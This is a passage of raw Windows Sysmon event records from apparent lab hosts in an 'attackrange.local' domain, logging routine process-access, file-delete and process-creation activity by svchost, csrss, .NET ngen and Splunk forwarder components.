14:45:32.539{7BD73061-6D0E-613B-8B06-00000000F001}45005608C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+37dac|C:\Windows\System32\modernexecserver.dll+37d4f|C:\Windows\System32\modernexecserver.dll+375a6|C:\Windows\System32\modernexecserver.dll+1a1c4|C:\Windows\System32\modernexecserver.dll+3191d|C:\Windows\System32\modernexecserver.dll+32871|C:\Windows\System32\modernexecserver.dll+3278f|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.523{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F8C-613B-E50A-00000000F001}4896C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.523{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F8C-613B-E50A-00000000F001}4896C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.523{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8C-613B-E50A-00000000F001}4896C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014058Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.924{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FABFB9EA2C9D817A77B588E09AD5CCAF,SHA256=6E7B036269B8961130B7DF131A3F06A6B3BC3559FA836658AB37E884074DEF8E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014057Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.924{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=02C4236E990AE17DE49DFB7B58D03C85,SHA256=39E13225B5479DE8BFD400E655B45BB204D9201863D1C662BD0257530C3CB5E9,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014056Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.893{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F8C-613B-9D04-00000000F101}4000C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014055Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.893{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014054Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.893{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014053Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.893{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014052Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.893{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014051Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.893{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014050Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.893{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014049Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.893{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014048Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.893{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014047Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.893{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014046Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.893{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-6F8C-613B-9D04-00000000F101}4000C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014045Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.893{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F8C-613B-9D04-00000000F101}4000C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014044Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.894{625C326B-6F8C-613B-9D04-00000000F101}4000C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000014043Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.628{625C326B-6F8C-613B-9C04-00000000F101}37163672C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014042Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.393{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F8C-613B-9C04-00000000F101}3716C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014041Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.393{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014040Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.393{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014039Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.393{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014038Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.393{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014037Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.393{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014036Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:32.393{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014035Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 